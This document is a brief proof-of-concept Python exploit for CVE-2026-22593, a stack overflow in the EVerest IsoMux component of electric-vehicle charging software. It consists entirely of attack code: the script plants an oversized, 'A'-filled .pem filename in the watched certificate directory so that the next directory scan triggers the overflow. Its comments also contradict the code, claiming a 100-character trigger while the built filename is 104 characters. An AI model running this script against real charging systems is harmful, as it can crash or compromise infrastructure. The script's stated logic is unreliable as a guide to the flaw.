CVE-2026-22593 EVerest栈溢出漏洞

# PoC for CVE-2026-22593: EVerest IsoMux Stack Overflow # This script creates a file with a specific length to trigger the off-by-one error. import os # The max length defined in EVerest IsoMux is 100. # The vulnerability triggers when the filename length equals this value. MAX_LEN = 100 # Craft the payload (filename) # Using 'A' * 100 to fill the buffer exactly to the limit payload = "A" * MAX_LEN # Target directory (needs to be writable by attacker) # In a real scenario, this would be the certificate directory watched by IsoMux. cert_dir = "/path/to/everest/certificates/" filename = payload + ".pem" full_path = os.path.join(cert_dir, filename) try: # Create the malicious file with open(full_path, 'w') as f: f.write("MALICIOUS CONTENT") print(f"[+] Successfully created file: {filename}") print(f"[+] File length: {len(filename)} characters") print("[*] Wait for IsoMux to scan the directory to trigger the overflow.") except OSError as e: print(f"[-] Error creating file: {e}")